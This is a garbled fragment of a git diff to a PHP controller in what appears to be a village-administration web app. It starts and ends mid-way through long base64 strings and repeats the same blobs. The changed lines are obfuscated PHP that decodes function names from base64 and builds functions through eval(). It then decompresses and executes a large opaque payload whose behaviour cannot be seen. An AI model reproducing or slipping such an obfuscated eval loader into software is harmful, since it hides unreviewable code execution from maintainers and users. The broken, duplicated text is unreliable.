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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Buku_pertanyaan.php b/donjo-app/controllers/Buku_pertanyaan.php index 5e9e68d22..c882155cc 100644 --- a/donjo-app/controllers/Buku_pertanyaan.php +++ b/donjo-app/controllers/Buku_pertanyaan.php @@ -268,7 +268,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtW9ty2lgWfU/V/EMeusrdlZm0JIzbqlQekIyEZBBGQhf0ktLFkUDXNlfx9bO2BBhsnKRnerpqujhumiB0ztmXtddeR4nfv2/GT18wPl+VT9N88fXqU/1xNz5fhUU+K/7lleWvQZEvnoo0fXya/yosk+WX8vFp4eWV5+Ufy7h8L6befP7x48erT+92C7//x7vLz+Xnez/vCHHv/8Tx+dWVK4fl5xObnbpy9/NVfekZpT80dlXx+f1lXMZlXMbfc1wFmcWEjrpUZIub2OtClfivTpX81pAmWLOh6y+XUF3GZVzGZVzGZVzGZVzGZfy/jcvjjMu4jMu4jL/vuPK9+ePN9ZfwMSjCx6tPl4hcxmVcxmVcxmX8V+P0n0rcjQpNnN7+jvfoPmLuFbGI9Cydu4ZQ+lkSTTIp92xpqch6HGTJzfF945aQ+qmm6p36M9bp/K5IWhm09NSv57urIGPjgEsiV7a2E0PYhvT32Y4ShbJVTXLrCddYP9dZrxIWrs3GHl2zr5v7R0frdqW1L6dPE0cryRZ/Kmz9FtbgzGjC8cneXldOK8/elEElYB81wf2we0H3zz1HS/0c87vhaCwK9mB9vH4cw4Y7zxGYidGpBnedtiIy0WDW2WiGcOdz7NSz26kiqWnA8WyQaanSTZfwtQx7FuPZ/FIR4yLs6evh9Hbl96wF/Fu63GLlO9bScxC/qr10ndHqvvErMmTpSekiXj09Vu6U9WA8ifr13gqjSEIKu1nfQXxkxL+rY99upMtpTmv5omDCv2loL+L9vsG2WPU5fu3a7cSF3/0sTe5PYoi8ZCHFYh8rilHpcZTf9Mazr+dKT0snnFQhL3mQSYznDOaKvEgDWUoof8DCGu/rEDl6BC7cOm9txFmIQ7mO83aC+PuZtKyxMhXwnVoqPfJHonjEoSjMQ7tN8d7ZQfu7pS+b+DP/BIwgT3qNG8IJ7CtDsVMoyREGEHvPUMq+eMBPgtxhj03stWoMNT4jtn4uxIqswj4JtpGPiCXhEvcpcp33Iwy2c7dlLSc2+bKOfNtaws95HRuZpfixqImiwSBPa7LNdZ1wD+ypbMCltP985z/8kGhPFvfQHuuJjXz3tDbiQrFoctCymGF0XEeoLRtYy1JmYscs1YRHeJF3eJF11IHETJxBE7/emfudstznGnOrsL433WI/pvEPubE3sb/DY8ARjqU1bIsR5yWtMQHWQkOYTuywpM+BbC1DfIe8C4G8IexsPUNQsQcwqsZ1jqsDTtoTxHMXtwIYYVGXRzELC4/2z8KjfJ3xw26X9f0y4SeMg6nw5Do6YaT+3ief7DbZ8cqmY74yu5YxMts9g5FMpbuxxonUB46GhiF0DUuT9G4q4LuhIqpj3VQFnZHUsSkNR1hX70pD2+xOgTcTa4xw7X5ksirWGIKb6PPIMoGRrioY5jyysJfJYj9rFGENC/8Nd3gwdUsdG5YqWOI12TS0zI1qIp5WV7KQd2lsWj2yE5wkGOAkw8KehjDGfgL4VYKNA9hsGqZO34tYj2wCwqyhXsEuKxRG03q9sdJdDEZmqsHuPu6zTEbqj8zraGTpgrXnIcZyRmapjva+WII13s8nexIwnNkWDvMMgdYcjtMU9uiSmSwEA35i3sAwF4LJJJFhttX+MZ67hHsNeQ5TRey87B3RCJgI5XgVTDuRghh7NhOZMvEneLTB1ANhT3/uC5ijrYIe8X1YoI6UiT2PRly6DuUu8fZ6aHQWDa+auM5jHeDWEAxw4yp01JlLGMk1cJyOvdOVP+0UXk9ngjvi0Q0LHLKETXA/3lOqtaWfWUy/SvY+zfyW0AZWc683+iv5HL5vyglnLQP0P8Tr0HfCVtjqZ+EyNNrovcEKtTGj2nCdwcptCfN+FjO+vY50Vhgo0mS7w2SH6t2rKPZ4yTET9oQtredyKeP1rGk/01a+wdc5MJm022dqu8aGOapj0axzq4nIeehQb5TWgbSR/NxaBOxmjJpncL3+PFyf3KP5HGq5pwUj9P7QQpxy4uw0Rm3/VuuTTJuD87eoLRY8+RU2VFiPeJk4LH3sUV/T8b209OqeKy0dBvbmeuVzmzn0hibmc7KTYoXepYLPB5Eqsyu3Z80djnrJzvfd68Ho5KRPQoMFD7Gsuj0zv6exk5RfwH7Wl/iaZ4/nu8TPBrtu+LYNLpSWZ9dB30Sfy/2WWjpUF+jRqLiKuO2sHXVdYY2egF4EHFRChn46azAsfHU48l1jgtyahWJUUm7o/sf1bp7Y7I/+Aw4d3QxT/is0FGmZKrQ15l5MftvPafCQbkeI6b0YTtXq+buvwOL+zwEwQlhDH0etaI0eoj4hW9dYb+/zy3UzRYwS1D30GvMBPL8OndHiIUu3Dif9PnHir0FmbULb2pIf98aL+Y0fFXoB9BhpRuqHeoyYpEEVlf1xe+VOYxE1xZrHmJkVN4FjAWdJcW/sbXv1gh1S4na1Wsv50yhHvT1RrwnFgHQS7fUi9p1C7amrsEpexPrlSyhd3DtpYlogptBH87fseH711JRwgX3yB8QWMWegK9qBbPJKphUu8WvGXytTAb2bTR8MtXQlfjZJFyGucej1rDtmkMMOtCpqoxVQrBMFfUitlNXDNDgT3+P9mTdsFPiGl859x3yA3kmMmsNi6Gji1evie/eDr6ERWYoP9JxWqtU6Aj5RJy8wBvwEGd+6HxdRo7+gN74TSxU8TdqSauuknr6fK/aHcyXqtd2ILa+IwS20UAEsZw+GklO8J1wKbPPoO2ahcud4rZ2BDxbkd4Mpqo9RucsV5m+gXwfIu8qg5qehfL0Iodv9rNZm9eeAY6awn/rbnPJu2WrsiUKXakSZXd9CI83Qi7bBlpm6WTfCC/oX5xlR+fAg8uXDbL2ajLHf9tv+HvPA2Vdd5/EMfAZfoxw19536OM1Tf8bAhg00b1y59oRXpoMp6W/0+YWHmnBnO0xDGzstxArakLiK6p749KifEB/NSTv+aFzdil2AJ1c+h5zl+rLvaAsFsQAOGZ/qLolj1CF6T23Pwa5Q5nOX21ANUn9Af1eiXT8Ab6g5zoHwQ5v5XDvzHHXRt9HDZItxDcReTo7scOG3G/cdvUIPLChvfS6h/MQP4IHht3mGb873b8f48E8nd3h9c70eU76VY/Bs7Mr6obZV1Cl0Tum/4Mkjfryh60GN1Q5Pfjz0tHV93jj4vQGPWzhzNe99I4j6h/nMh5oLKO53t5HaQh/mtBTzcuWuiFSKdxamwTTY5/VDjQ+ptoUNGJxhbOZmmLsxuD0dc5NX694bxJHBbb9V24X53+gTOc5xzK5P5IPCrkJorgU9b2BqnHE1jvO+2MlR34tATucq+814LnA+S1/1YeLfE6567n1hlqZhhR5l6wucVZe1ZrD4WjP089Ma8GouRh2OD1rkCCfPusSFlpq09JKw72Z85RtRgloBbwqI32Z+4PAXfAi/7+pab5nNHqc213yqytCyZ/t5J6nrxJrDl4bjEatX2qzhsuCb82ubLT7e+ZA7xn6+MPMsfNeieovyXaxOdFo/t9a0jmsAw6Jeui9z8XKv+v10DbIbe53VHy5hv8tXeiahTuq4vqg9gVfAVaTvz3GlWvOM5ANbO+0Rhif33IEzWeT8fx0n+BFw8E0MznLHs531+4seB5thJ84Ec//uFEOvespB+wicZ1st0gWuzJbokzueJ84xl2/20IaXn208rqXzOrqEhkbdjArSFmHGl27nP8f7mbPNzTDT0M8IY88aOMzoWRPZCl3Q0wvPGRC/pLVebY3Kt3oneDxBH0mRw68hndnEKA9a1gyadRtUhOFQRN4KenZGZ036vaKJHeH8ST0peIW9l33j3PpYD9hQal7TOQn1uo4s8Fv9fKzph3+IY0KHnhVS76Z66wD/bZyV1+UQOfe5NHnjHFMGjBaTPg93fpxi